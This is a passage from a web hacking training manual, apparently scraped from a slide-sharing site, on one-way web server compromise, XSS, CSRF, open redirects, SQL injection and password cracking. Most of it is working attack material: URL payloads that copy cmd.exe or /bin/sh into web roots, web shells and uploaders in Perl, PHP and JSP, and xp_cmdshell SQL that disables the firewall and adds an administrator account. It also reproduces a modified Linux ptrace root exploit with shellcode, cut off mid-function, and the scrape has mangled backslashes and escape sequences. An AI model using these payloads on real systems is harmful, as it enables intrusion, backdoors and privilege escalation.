  • 47. 46 | P a g e Exploiting URL parsing The Unicode / Double decode attack is a classic example of a URL parsing vulnerability. The URL below copies the command interpreter - cmd.exe - into the "scripts/" directory within the web server's document root: http://www1.example.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+ c:winntsystem32cmd.exe+c:inetpubscripts Exploiting poorly validated input parameters In this example, an unchecked parameter is passed from the URL to a Perl CGI script news.cgi using the open() call in an insecure manner: http://www2.example.com/cgi-bin/news.cgi?story=101003.txt|cp+/bin/sh+ /usr/local/apache/cgi-bin/sh.cgi| The shell (/bin/sh) gets copied into the cgi-bin directory as sh.cgi. Exploiting SQL injection Here, we show how SQL injection can be used to invoke a stored procedure on a database server, and run commands via the stored procedure: http://www3.example.com/product.asp?id=5%01EXEC+master..xp_cmdshell+
  • 48. 47 | P a g e 'copy+c:winntsystem32cmd.exe+c:inetpubscripts' Invoking the command interpreter Our objective of creating a backdoor by moving the command interpreter or the shell into the web document root is to be able to invoke it remotely over HTTP. The HTTP POST method is best suited for this purpose. Using POST, the input data gets passed to the invoked resource over standard input, and the web server returns the output generated by standard output back over the HTTP connection. We shall illustrate how to send commands to command interpreters over POST, with an example of sh.cgi (which is a copy of /bin/sh) on Apache and Linux. Posting commands to /bin/sh The example below shows three commands being run with /bin/sh, which is accessible on http://www2.example.com/cgi-bin/sh.cgi. The POST request is shown in bold letters. $ nc www2.example.com 80 POST /cgi-bin/sh.cgi HTTP/1.0 Host: www2.example.com Content-type: text/html Content-length: 60 echo 'Content-type: text/html' echo uname id ls -la / exit HTTP/1.1 200 OK Date: Thu, 27 Nov 2003 20:47:20 GMT Server: Apache/1.3.12 Connection: close Content-Type: text/html Linux uid=99(nobody) gid=99(nobody) groups=99(nobody) total 116 drwxr-xr-x 19 root root 4096 Feb 2 2002 . drwxr-xr-x 19 root root 4096 Feb 2 2002 .. drwxr-xr-x 2 root root 4096 Jun 20 2001 bin drwxr-xr-x 2 root root 4096 Nov 28 02:01 boot drwxr-xr-x 6 root root 36864 Nov 28 02:01 dev drwxr-xr-x 29 root root 4096 Nov 28 02:01 etc drwxr-xr-x 8 root root 4096 Dec 1 2001 home drwxr-xr-x 4 root root 4096 Jun 19 2001 lib drwxr-xr-x 2 root root 16384 Jun 19 2001 lost+found drwxr-xr-x 4 root root 4096 Jun 19 2001 mnt
  • 49. 48 | P a g e drwxr-xr-x 3 root root 4096 Feb 2 2002 opt dr-xr-xr-x 37 root root 0 Nov 28 2003 proc drwxr-x--- 9 root root 4096 Feb 9 2003 root drwxr-xr-x 3 root root 4096 Jun 20 2001 sbin drwxrwxr-x 2 root root 4096 Feb 2 2002 src drwxrwxrwt 7 root root 4096 Nov 28 02:01 tmp drwxr-xr-x 4 root root 4096 Feb 2 2002 u01 drwxr-xr-x 21 root root 4096 Feb 2 2002 usr drwxr-xr-x 16 root root 4096 Jun 19 2001 var $ The care and feeding of /bin/sh over Apache is slightly different. Apache expects a well formed HTTP response header from all its CGI programs, hence we have to prepend the lines "Content-type: text/html" in the output. The two "echo" commands are for this purpose. Automating the POST process We have created two Perl scripts post_cmd.pl and post_sh.pl to automate the task of preparing the proper POST requests for the commands and sending them to the web server. The syntax for invoking post_cmd.pl is as follows: usage: post_cmd.pl url [proxy:port] < data By Saumil Shah (c) net-square 2001 post_cmd.pl takes all the data to be POSTed to the URL as standard input. Either enter the data manually and hit ^D (unix) or ^Z (dos) to end; or redirect the data using files or pipes post_sh.pl is on similar lines. The examples below show the same results being derived using the Perl scripts instead of forming our own POST requests: Output of post_sh.pl $ ./post_sh.pl http://www2.example.com/cgi-bin/sh.cgi uname id ls -la / ^D HTTP/1.1 200 OK Date: Thu, 27 Nov 2003 20:43:54 GMT Server: Apache/1.3.12 Connection: close Content-Type: text/html
  • 50. 49 | P a g e Linux uid=99(nobody) gid=99(nobody) groups=99(nobody) total 116 drwxr-xr-x 19 root root 4096 Feb 2 2002 . drwxr-xr-x 19 root root 4096 Feb 2 2002 .. drwxr-xr-x 2 root root 4096 Jun 20 2001 bin drwxr-xr-x 2 root root 4096 Nov 28 02:01 boot drwxr-xr-x 6 root root 36864 Nov 28 02:01 dev drwxr-xr-x 29 root root 4096 Nov 28 02:01 etc drwxr-xr-x 8 root root 4096 Dec 1 2001 home drwxr-xr-x 4 root root 4096 Jun 19 2001 lib drwxr-xr-x 2 root root 16384 Jun 19 2001 lost+found drwxr-xr-x 4 root root 4096 Jun 19 2001 mnt drwxr-xr-x 3 root root 4096 Feb 2 2002 opt dr-xr-xr-x 37 root root 0 Nov 28 2003 proc drwxr-x--- 9 root root 4096 Feb 9 2003 root drwxr-xr-x 3 root root 4096 Jun 20 2001 sbin drwxrwxr-x 2 root root 4096 Feb 2 2002 src drwxrwxrwt 7 root root 4096 Nov 28 02:01 tmp drwxr-xr-x 4 root root 4096 Feb 2 2002 u01 drwxr-xr-x 21 root root 4096 Feb 2 2002 usr drwxr-xr-x 16 root root 4096 Jun 19 2001 var $ In this manner, we can issue multiple commands to the target web server using HTTP POST requests. This concept shall be used to create arbitrary files on the web server, as discussed in section 4.1 Web based command prompt After achieving remote command execution, we need to be able to interactively run commands on the target web server. Common ways of doing this would be to either spawn a shell or bind it to a TCP port on the target web server, or to launch a shell connection back to a TCP listener, or to launch an xterm to a remote X display. However, given a tight firewall which allows only HTTP requests as incoming traffic and HTTP responses as outbound traffic, such techniques will not work. We shall present here examples of "web based command prompts" to get around these restrictions. A web based command prompt provides the functionality of a semi-interactive shell terminal, via an HTML form. The form accepts the command as an <INPUT> field and displays the resultant output as pre- formatted text. The reason why web based command prompts are semi-interactive is because they do not save the state of the terminal, such as the current working directory, system environment, etc. These can be implemented by session based HTML forms, however, that is beyond the scope of this paper. Commands executed by such web based command prompts assume the privileges of the web server process. Typically, for UNIX systems running Apache, the uid is "nobody", whereas for Windows systems running IIS, the privileges are those of "IUSR_machinename" or "IWAM_machinename" Given below are four examples of a web based command prompt:
  • 51. 50 | P a g e Perl - perl_shell.cgi The following script using Perl provides a semi-interactive web based command prompt. #!/usr/bin/perl require "cgi-lib.pl"; print &PrintHeader; print "<FORM ACTION=perl_shell.cgi METHOD=GET>n"; print "<INPUT NAME=cmd TYPE=TEXT>n"; print "<INPUT TYPE=SUBMIT VALUE=Run>n"; print "</FORM>n"; &ReadParse(*in); if($in{'cmd'} ne "") { print "<PRE>n$in{'cmd'}nn"; print `/bin/bash -c "$in{'cmd'}"`; print "</PRE>n"; }
  • 52. 51 | P a g e PHP - sys.php Creating a web based shell with PHP is very simple. The following script illustrates a web based shell in PHP: <FORM ACTION="sys.php" METHOD=POST> Command: <INPUT TYPE=TEXT NAME=cmd> <INPUT TYPE=SUBMIT VALUE="Run"> <FORM> <PRE> <?php if(isset($cmd)) { system($cmd); } ?> <PRE> JSP - cmdexec.jsp The following JSP code is a web based command prompt for J2EE application servers supporting Java Server Pages. <FORM METHOD=GET ACTION='cmdexec.jsp'> <INPUT name='cmd' type=text> <INPUT type=submit value='Run'> </FORM> <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s;
  • 53. 52 | P a g e } } catch(IOException e) { e.printStackTrace(); } } %> <pre> <%=output %> </pre> Any web application programming language, which allows native OS commands to be run, can be used to create a web based command prompt. File uploader In addition to being able to run commands on the target web server, an attacker would also be interested in transferring files into the web server. Usual techniques such as FTP, NFS, NetBIOS, etc. do not work since the firewall would prevent all these. To get around this obstacle, we need to create a file uploader. The technique mentioned in section 4.1.2 can be painfully slow for large files. There is a better option, though. It is possible to upload files using the HTTP POST Multipart-MIME [3] method. The contents of the file get sent to the server in an HTTP POST request. On the server, an upload script receives these contents and saves them into a file. A detailed discussion of HTTP Multipart-MIME POST requests is beyond the scope of this document. To perform file uploads, we would require a directory where the web server process (nobody, IUSR_machinename, IWAM_machinename, etc.) has privileges to create and write to files. Given below are three examples of such upload scripts: Perl - upload.cgi Using Perl and cgi-lib.pl, it is easy to create an uploader script. The following example shows how: #!/usr/bin/perl require "cgi-lib.pl"; print &PrintHeader; print "<form method='POST' enctype='multipart/form-data' action='upload.cgi'>n"; print "File path: <input type=file name=upfile>n"; print "<input type=submit value=upload></form>n"; &ReadParse;
  • 54. 53 | P a g e PHP - upload.php Creating an uploader with PHP is just as simple. <FORM ENCTYPE="multipart/form-data" ACTION="upload.php" METHOD=POST> <INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="10000000"> <input type="File" name="userfile" size="30"> <INPUT TYPE="submit" VALUE="upload"> </FORM> <?php if($userfile_name != "") { copy("$userfile", "./$userfile_name") or die("Couldnt copy file"); echo "File name: $userfile_name<br>n"; echo "File size: $userfile_size bytes<br>n"; echo "File type: $userfile_type<br>n"; } ?> Once we have both command execution and file upload facilities over HTTP, we can do pretty much whatever we please with the target web server. It would be possible to: Discover source code and configuration files on the web server, discover the internal network (if any) that the target web server lies on, upload attack tools on the web server and execute them, ... and much more An obvious next step is to attempt to escalate privileges, since we are bound by the privileges extended to us by the web server process. The next section discusses just that.
  • 55. 54 | P a g e One-Way Privilege Escalation Web based command prompts; inherit the privileges of the process under which they are running. Usually, these privileges are restricted user level privileges, unless the web server process is running with elevated privileges. A few application servers, which plug-in to the front end web server, run with elevated privileges. To take the attack deeper, in most cases, one would need some sort of privilege escalation, after installing a web based command prompt and an HTTP file uploader. Privilege escalation attacks are nothing unique. There are many exploits for various operating systems which result in escalating the privileges to either the super user, or to a more privileged user. Most privilege escalation attacks can be adapted to the one-way attack technique. A detailed discussion of privilege escalation attacks is not within the scope of this paper. We shall discuss two examples of privilege escalation attacks, "Microsoft IIS 5.0 In-Process Table Privilege Elevation Vulnerability" for the Windows and IIS platform, and the "Linux Ptrace/Setuid Exec Vulnerability" for the Linux and Apache platform. Care must be taken that the privilege escalation exploit runs non-interactively, i.e. it should not require an interactive shell, an interactive terminal, a GUI console, etc. For this example, we had to modify the Linux ptrace exploit to adapt it for one-way use.
  • 56. 55 | P a g e Web Application Vulnerabilities Web Application Setup XSS – Cross-Site-Scripting Introduction • XSS is a vulnerability which exists on the server side, but poses a risk only for the server’s clients • The “attack” occurs when a web server replies the user with the exact raw data received from the user at a certain point in time. Reflected XSS (Type I) • In order to exploit the vulnerability: – the attacker supplies the user with a link – once clicked, the user sends data to the server – the server replies it – the browser executes it • The attacker may send malicious JS code that will execute in the context of the given site. • This code is able to: – Exploit the browser – Steal cookies – Perform GET and POST requests using the user`s credentials – Perform content spoofing attacks – Deface the site
  • 57. 56 | P a g e Permanent (Stored) XSS • Another vector of this attack is called “Stored XSS”, unlike the previous vector. In this attack there is no need to navigate the user to a specially crafted URL. • This attack requires the attacker to find a permanent place within the application that can store his code, for example: blog`s comments user`s profile settings Etc… DOM XSS … XSS-Shell • XSS-Shell is an attack platform designed to be launched from an XSS vector. • The usage of this platform is as following: The attacker sends the user a link referring to a vulnerable site Upon clicking this link the client`s browser runs the JS code of the XSS-Shell platform This code hijacks the browser and starts receiving commands from the server
  • 58. 57 | P a g e The attacker can send new commands that will be evaluated in the client`s browser as long as this attack is active The client can stop the attack in two ways: Manually navigate to the different site using the navigation bar Closing the browser completely XSS Worms • In the age of social networks and mash web sites, a single XSS attack in a major site can be turned into an army of computers, just waiting for commands from the attacker. • Using the power of JS code there is even no need to try and exploit the browser. Most uses of Bot-nets today are D.O.S and SPAM attacks. The Future of SPAM • While SPAM attacks are still hard to launch using JS, there are several ways attackers use to achieve this goal. • Mime injections is an uprising attack that allows an attacker to inject text into the mime headers of an outgoing mail and change the values of those headers before being sent. • The vulnerability is mostly common in “Contact Us” forms which lack input validation on fields such as: – From – To – Subject – Date and so on… • Correct usage of this vulnerability will allow the attacker to craft their own email and send it to their victims using the vulnerable third party site. • This method of SPAM will also bypass the “Secure Domain Tokens” that validates the sender’s domain. • The attacker can use a XSS worm to take advantage of such Inject-able sites in order to produce a SPAM network with no Trojan Horses or any kind of backdoor tools.
  • 59. 58 | P a g e • Correct usage of this vulnerability will allow the attacker to craft their own email and send it to their victims using the vulnerable third party site. • This method of SPAM will also bypass the “Secure Domain Tokens” that validates the sender’s domain. • The attacker can use a XSS worm to take advantage of such Inject-able sites in order to produce a SPAM network with no Trojan Horses or any kind of backdoor tools. D.o.S attacks • D.o.S attacks are fairly easy to deploy. • Consider a XSS worm on Facebook.com • Every user that logs in will get a command from the server. • This command will cause the browser to send a Post request to CNN.com • Considering the amount of users Facebook has simultaneously, CNN will be down within a few minutes.
  • 60. 59 | P a g e Information Gathering Beyond malicious attacks on third party sites, the attacker may use their worm to gather sensitive information from their victims • The attacker can harvest the following details using the XSS alone: – Password (using a perfect phishing attack) – Name – Age – Email – Friend list (that will also be attacked to become future victims) Automated exploiting bots Another usage of an XSS worm is to automatically scan and exploit other vulnerabilities. In order to achieve this goal the attacker needs to exploit one of the victim`s browser and execute a backdoor that will act as the server. The server will then be used by all the other victims or, “Fetchers”. The Fetchers will send a request to the server asking for a new list to attack. The server will then use Google or any other search engine to get a list of sites that suit the attack and return it to the fetcher. The fetcher now asks the server for the content of a certain site on the list. Once the value returns, the fetcher parse out the inner link from this page. This is where the user starts to actively participate in the attack: • The worm’s JavaScript code running on each user’s machine blindly sends a generic attack request/string/code to the targets/links retrieved by the fetcher with known vulnerabilities such as SQL Injections.
  • 61. 60 | P a g e • For each pattern found, the fetcher tries to exploit the machine using preset values. • Successful exploitations will cause the attacked machine to report itself to the attacker thus entering to the attack circle. • This may have a low ratio of success but when talking about an XSS Worm in the sufficient magnitude and considering the fact that this process is fully automatic the result is highly satisfying for the attacker • The fetcher checks for patterns on those links for known vulnerabilities such as SQL Injections. • For each pattern found, the fetcher tries to exploit the machine using preset values. • Successful exploitations will cause the attacked machine to report itself to the attacker thus entering to the attack circle. • This may have a low ratio of success but when talking about an XSS Worm in the sufficient magnitude and considering the fact that this process is fully automatic the result is highly satisfying for the attacker Malware Script Detector • Malware Script Detector (MSD) http://userscripts.org/scripts/show/30284 • Coded mainly to detect today’s popular powerfully malicious JavaScript attack frameworks: XSS-Proxy, XSS-Shell, AttackAPI, BeEF • Version 2 was enhanced to prevent most XSS threats and includes XSS Attack Blacklists based on Firefox XSS-Warning add-on Cross Site Request Forgery (CSRF/XSRF/Session Riding) Introduction Cross Site Request Forgery (CSRF) is a client side attack that takes advantage of insecure web applications. In order to understand this vulnerability let’s take a simple example, a website that has:  A user management section with a “remember me” cookie.
  • 62. 61 | P a g e  The site has a *simple Change Password form. The risks and common uses • The form has one input, the new desired password. • The attacker also discovered XSS vulnerability in a high traffic third party site. • The attacker can use this XSS and cause the victim to generate a post to the original form on the first site.
  • 63. 62 | P a g e • The browser will then send an HTTP POST request to the first server, it will automatically include the cookie that it had saved and the password will change as the attacker desired. • The attacker can make the user post any form (rather GET or POST method) without the user having any way of controlling the event or even knowing it is happening (without the use of sniffing or analysis tools). • Most attackers choose the obvious forms to exploit: • Password change • Password reminder question change • Email change • Money transfer Tokens vs. Personal Information as a solution for CSRF • Tokens work in the following way: – The user requests a page. – The server generates a random token and appends it as a hidden field to the form.
  • 64. 63 | P a g e – The user fills out the form and submits it back to the server. – The server can now compare the token it has saved and the one received by the user in order to verify the submit process was legitimate. • Personal Information is used to validate the request is legitimate and human generated. • Two ways are generally used in this method: – Old password – Security question • The problem with this method of action is that it is not 100% secure, personal information can be found out by the attacker and then the security mechanism has no meaning. • Combining both methods and adding a CAPTCHA mechanism is the best way to defend against this type of attacks. Open/Un-Validated Site Redirection / Cross Domain Redirect In order to understand Open Site Redirection, we will explore the vulnerability found on the WordPress blogging platform. In WordPress, there is a login redirect feature that can be abused for phishing purposes. The parameter ‘redirect_to’ usually contains the relative URL to where the user is redirected AFTER logging in successfully. i.e.: /wordpress/wp-admin/index.php However, such parameter also allows absolute URLs that point to a domain different to the one where the legitimate WordPress login page is hosted. i.e.: http://legitimate.com/wordpress/wp-login.php?redirect_to=http://evil.com or http://legitimate.com/wordpress/wp- login.php?redirect_to=http://%65%76%69%6c%2e%63%6f%6d (Evil domain name is hex-encoded for obfuscation purposes) where ‘http://evil.com’ would be a malicious site hosting a spoof WordPress login page.
  • 65. 64 | P a g e Attack scenario: 1. Attacker launches a phishing attack against the victim using the following URL: http://legitimate.com/wordpress/wp- login.php?redirect_to=http://%65%76%69%6c%2e%63%6f%6d 2. Victim logs in successfully 3. Victim is redirected to evil.com where there is a spoof WordPress login page that looks like the original. Such login page returns an authentication error message like the following: “ERROR: Invalid username.” 4. Victim thinks he/she entered the wrong username and re-enters username and password again 5. Credentials are now logged by the attacker • Many sites today use redirections and forwards to third party sites. • Each non-validated redirection or forward to third party sites are potentially an attack vector waiting to be exploited. • There are a few risks when talking about non-validated referrals. Common uses and Risks
  • 66. 65 | P a g e • The number one use of this non-validated feature will be to implement an XSS attack on a third party site. • This XSS cannot affect the referring site, it still uses that site`s credibility to unleash the attack. • For example, the following link bypasses the Facebook redirect checks: • Or coded to the more practical way: • In a more discreet way: • Another vector of attack is Content Spoofing. • If the attacker can control the content of a frame inside a major news web server, they could then create false posts of information that will endanger the credibility of the site in addition to the profit generated to the attacker. http://www.facebook.com/l.php?u=http://attacker_site.com&h=781d3 http://www.facebook.com/l.php?u=%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%5f% 73%69%74%65%2e%63%6f%6d&h=781d3
  • 67. 66 | P a g e Validating Redirects and Forwards • The application must validate the URL before forwarding the user thus assuring the link is safe. • In case the application cannot validate the URL it should prompt the user of the redirection before forwarding it.
  • 68. 67 | P a g e SQL-injection - What is SQL Injection? Introduction • SQL Injection is a vulnerability which exists on the server side and poses a risk to the Database server of the application. • The attack occurs when a web server passes the exact raw data received from the user to the Database server. • In order to exploit the vulnerability: – The attacker must identify an input to the application that is involved in a database query – Once found, the attacker can manipulate this argument in order to change the nature of the original query • The following VB code generates a SQL statement using a parameter from the user • In case the value is in the correct template, the application will work as planned • On the other hand, the following input will completely change the nature of this query: 1’ or ‘1’=‘1 • The statement will appear as following: • The outcome of the last statement will always result in the value: “true”. • An attacker does the same manipulation in the login SQL statement. • By making sure the statement will always result in “true”, the attacker is able to instantly log in to the system. Dim SSN as String Dim SqlQuery as String SSN = Request.QueryString(“ID") SqlQuery = "SELECT lname, fname FROM users WHERE id = '" + ID + "'" Select lname, fname FROM users WHERE id=‘1’ Select lname, fname FROM users WHERE id=‘1’ or ‘1’=‘1’
  • 69. 68 | P a g e • In addition to login credentials the attacker can also go after the information within the Database itself, for example Credit Cards. • The attacker can use several vectors when trying to read data from the SQL server. The Practice Error Based SQL Injection • When comparing columns of different types, the SQL server throws an exception. • in this exception it explains exactly why the statement failed, for example: – the attacker can compare the value of the @@version parameter, which is string, to an integer value – The server in response will say the value of @@version (and the value itself!) cannot be treated as an integer. Union Based SQL Injection • In case the server does not output errors or if the attacker would like a faster way to get the data out of the server the SQL Union statement comes to hand • The following query will act as the test case: • the attacker can control the value of user_id and may manipulate the query as following: select name from users where user_id=‘100’
  • 70. 69 | P a g e • Instead of the name of the current user logged in, the application will output the password of the admin user. Taking Over the Machine • An attacker can do more than just read, insert and modify records into the Database. • With the right permissions, an attacker is able to run binary code on the actual server running the SQL engine. • For example, in MSSQL the procedure xp_cmdshell can be used to run the code it gets as a parameter with the permissions of the user running the SQL Server (SYSTEM). • In SQL Server 2005 the function was disabled for security issues, but of course Microsoft left a Reconfigure function that can turn it back on. • The SQL query will look as following: Enable Remote Command Execution: Disable Windows Firewall: Add an Administrative RDP Authorized User Account: select name from users where user_id=‘-1’ union all select password from users where user_name=‘admin’ ‘; exec master..sp_addextendedproc “xp_cmdshell”, “C:Program FilesMicrosoft SQL serverMSSQLBinnxplog70.dll”; exec master..sp_configure “show advanced options”, 1; RECONFIGURE; exec master..sp_configure 'xp_cmdshell',1; RECONFIGURE; exec master. xp_cmdshell ‘cmd.exe /c dir c:’; exec master. xp_cmdshell ‘NET STOP “Windows Firewall”’; exec master. xp_cmdshell ‘NET STOP “Internet Connection Firewall (ICF) / Internet Connection Sharing (ICS)”’; exec master. xp_cmdshell ‘NET STOP “Windows Firewall/Internet Connection Sharing (ICS)”’;
  • 71. 70 | P a g e • Once the attacker has control over the machine they can then use it as a “Bot” in order to automatically exploit other vulnerable sites. SQL injection as a lead to other vulnerabilities • Once the attacker has control over the Database server they can with great ease manipulate the system and create additional security holes. • For example, the attacker can change data in the SQL Server to bypass all of the input validations against XSS attacks. • This is why the application must always filter the input it gets, and should not consider certain sources as safe. SQL injection Automated tools • There are a few key applications that make the usage of SQL injections practically automated. • The number one application will be Pangolin. • Pangolin is designed to extract data from almost every type of SQL server: – MSSQL – MySQL – Oracle – DB2 and more… • In addition to data extraction Pangolin has the ability to: – Execute code on the remote machine – Write files to the remote host – Directory and file manager – Registry editor – Custom SQL statements and more… Pangolin: exec master. xp_cmdshell ‘net user hackeruser hackerpass /add’; exec master. xp_cmdshell ‘net localgroup administrators hackeruser /add’; exec master. xp_cmdshell ‘net localgroup “Remote Desktop Users” hackeruser /add’;
  • 72. 71 | P a g e
  • 73. 72 | P a g e SQLMap – Automated SQL Injection: SQL injection Prevention • Just like with XSS, there are plugins that attempt to prevent these attacks, along with many WAF products in the market. • The problem with these products remains the same; it cannot be a single line of defense. These products get broken. • The application must have a filtering module that prevents these attacks on its own. In the case of SQL Injection the most important part is to encode the parameter before sending it to the SQL Server so that characters like [‘] will have no effect. • A common problem is the parameters that are not bound by quotes, like integers, these parameters must be validated as an integer before sent further on in the application. • Another vector of prevention is the use of parameterized queries inside stored procedures.
  • 74. 73 | P a g e • This way the variables cannot be treated as SQL CODE but only as values of those variables. • Once this is done, no matter what the attacker sends as an input, it could never be parsed as a part of the SQL statement. • To add another layer of security, it is recommended to break down the stored procedures into smaller units of code, each with its own permissions, to avoid a scenario of one stored procedure having both read and write permissions. • In addition, the parameters should be sanitized inside the stored procedures as a last line of defense.
  • 75. 74 | P a g e Web-Based Password Cracking Techniques Authentication – Definition If you invited me to try and crack your password, you know the one that you use over and over for like every web page you visit, how many guesses would it take before I got it? Let’s see… here is my top 10 list. I can obtain most of this information much easier than you think, and then I might just be able to get into your e-mail, computer, or online banking. After all, if I get into one I’ll probably get into all of them. 1. Your partner, child, or pet’s name, possibly followed by a 0 or 1 (because they’re always making you use a number, aren’t they?) 2. The last 4 digits of your social security number. 3. 123 or 1234 or 123456. 4. “password” 5. Your city, or college, football team name. 6. Date of birth – yours, your partner’s or your child’s. 7. “god” 8. “letmein” 9. “money” 10. “love” Statistically speaking that should probably cover about 20% of you. But don’t worry. If I didn’t get it yet it will probably only take a few more minutes before I do… Hackers and I’m not talking about the ethical kind, have developed a whole range of tools to get at your personal data. And the main impediment standing between your information remaining safe, or leaking out, is the password you choose. (Ironically, the best protection people have is usually the one they take least seriously.) One of the simplest ways to gain access to your information is through the use of a Brute Force Attack. This is accomplished when a hacker uses a specially written piece of software to attempt to log into a site using your credentials. Insecure.org has a list of the Top 10 FREE Password Crackers right here. So, how would one use this process to actually breach your personal security? Simple, Follow my logic:  You probably use the same password for lots of stuff right?  Some sites you access such as your Bank or work VPN probably have pretty decent security, so I’m not going to attack them.
  • 76. 75 | P a g e  However, other sites like the Hallmark e-mail greeting cards site, an online forum you frequent, or an e-commerce site you’ve shopped at might not be as well prepared. So those are the ones I’d work on.  So, all we have to do now is unleash Brutus, wwwhack, or THC Hydra on their server with instructions to try say 10,000 (or 100,000 – whatever makes you happy) different usernames and passwords as fast as possible.  Once we’ve got several login + password pairings we can then go back and test them on targeted sites.  But wait… How do I know which bank you use and what your login ID is for the sites you frequent? All those cookies are simply stored, unencrypted and nicely named, in your Web browser’s cache. (Read this post to remedy that problem.) And how fast could this is done? Well, that depends on three main things, the length and complexity of your password, the speed of the hacker’s computer, and the speed of the hacker’s Internet connection. Assuming the hacker has a reasonably fast connection and PC here is an estimate of the amount of time it would take to generate every possible combination of passwords for a given number of characters. After generating the list it’s just a matter of time before the computer runs through all the possibilities – or gets shut down trying. Pay particular attention to the difference between using only lowercase characters and using all possible characters (uppercase, lowercase, and special characters – like @#$%^&*). Adding just one capital letter and one asterisk would change the processing time for an 8 character password from 2.4 days to 2.1 centuries. Password Length All Characters Only Lowercase 3 characters 4 characters 5 characters 6 characters 7 characters 8 characters 9 characters 10 characters 11 characters 12 characters 0.86 seconds 1.36 minutes 2.15 hours 8.51 days 2.21 years 2.10 centuries 20 millennia 1,899 millennia 180,365 millennia 17,184,705 millennia 0.02 seconds .046 seconds 11.9 seconds 5.15 minutes 2.23 hours 2.42 days 2.07 months 4.48 years 1.16 centuries 3.03 millennia
  • 77. 76 | P a g e 13 characters 14 characters 1,627,797,068 millennia 154,640,721,434 millennia 78.7 millennia 2,046 millennia Remember, these are just for an average computer, and these assume you aren’t using any word in the dictionary. If Google put their computer to work on it they’d finish about 1,000 times faster. SensePost CrowBar
  • 78. 77 | P a g e SecuriBox Sentri 2.0
  • 79. 78 | P a g e OWASP WebSlayer
  • 80. 79 | P a g e xHydra (BackTrack 3/4 - GTK)
  • 81. 80 | P a g e
  • 82. 81 | P a g e Linux Hacking - Why Linux? Linux/Apache privilege escalation For this example, we shall look at www2.example.com, which is a Linux server running 2.4 kernel and Apache 1.3.27. As with the previous example, we shall assume that is has already been compromised, and a file uploader script upload.cgi. Uploading the UNIX attack tools For this server, we shall upload a web based command prompt - shell.cgi and another file - ptrace1.c. ptrace1.c is a privilege escalation exploit based on the Linux Ptrace/Setuid Exec Vulnerability. The exploit is slightly modified, to adapt it for one-way use. When run successfully, the exploit applies the setuid permission to /bin/bash, which is owned by the root user. This causes any shell command executed through /bin/bash, to run with super-user privileges. The web based command prompt, shell.cgi, internally invokes /bin/bash, and therefore all commands executed via shell.cgi shall run as the root user. The source code of the modified ptrace exploit is: ptrace1.c /* * Linux kernel ptrace/kmod local root exploit * * Should work under all current 2.2.x and 2.4.x kernels. * * I discovered this stupid bug independently on January 25, 2003, that * is (almost) two month before it was fixed and published by Red Hat * and others. * * Wojciech Purczynski <cliph@isec.pl> * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY * * (c) 2003 Copyright by iSEC Security Research * * exploit modified for one-way use by Saumil Shah */ #include <grp.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <paths.h>
  • 83. 82 | P a g e #include <string.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/param.h> #include <sys/types.h> #include <sys/ptrace.h> #include <sys/socket.h> #include <linux/user.h> char cliphcode[] = "x90x90xebx1fxb8xb6x00x00" "x00x5bx31xc9x89xcaxcdx80" "xb8x0fx00x00x00xb9xedx0d" "x00x00xcdx80x89xd0x89xd3" "x40xcdx80xe8xdcxffxffxff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1; pid_t child = 1; pid_t victim = 1; volatile int gotchild = 0; void fatal(char * msg) { perror(msg); kill(parent, SIGKILL); kill(child, SIGKILL); kill(victim, SIGKILL); } void putcode(unsigned long * dst) { char buf[MAXPATHLEN + CODE_SIZE]; unsigned long * src; int i, len; memcpy(buf, cliphcode, CODE_SIZE); len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1); if (len == -1) fatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1; buf[len] = '0'; src = (unsigned long*) buf; for (i = 0; i < len; i += 4)
  • 84. 83 | P a g e if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1) fatal("[-] Unable to write shellcode"); } void sigchld(int signo) { struct user_regs_struct regs; if (gotchild++ == 0) return; fprintf(stderr, "[+] Signal caughtn"); if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1) fatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lxn", regs.eip); putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...n"); if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1) fatal("[-] Unable to detach from victim"); exit(0); } void sigalrm(int signo) { errno = ECANCELED; fatal("[-] Fatal error"); } void do_child(void) { int err; child = getpid(); victim = child + 1; signal(SIGCHLD, sigchld); do err = ptrace(PTRACE_ATTACH, victim, 0, 0); while (err == -1 && errno == ESRCH); if (err == -1) fatal("[-] Unable to attach");
  • 85. 84 | P a g e fprintf(stderr, "[+] Attached to %dn", victim); while (!gotchild) ; if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1) fatal("[-] Unable to setup syscall trace"); fprintf(stderr, "[+] Waiting for signaln"); for(;;); } void do_parent(char * progname) { struct stat st; int err; errno = 0; socket(AF_SECURITY, SOCK_STREAM, 1); do { err = stat(progname, &st); } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); if (err == -1) fatal("[-] Unable to stat myself"); alarm(0); system(progname); } void prepare(void) { if (geteuid() == 0) { initgroups("root", 0); setgid(0); setuid(0); // execl(_PATH_BSHELL, _PATH_BSHELL, NULL); // line below is a modification to adapt the exploit // for one-way hacking execl("/bin/chmod", "/bin/chmod", "4755", "/bin/bash", NULL); fatal("[-] Unable to spawn shell"); } } int main(int argc, char ** argv) { prepare(); signal(SIGALRM, sigalrm); alarm(10); parent = getpid(); child = fork(); victim = child + 1;
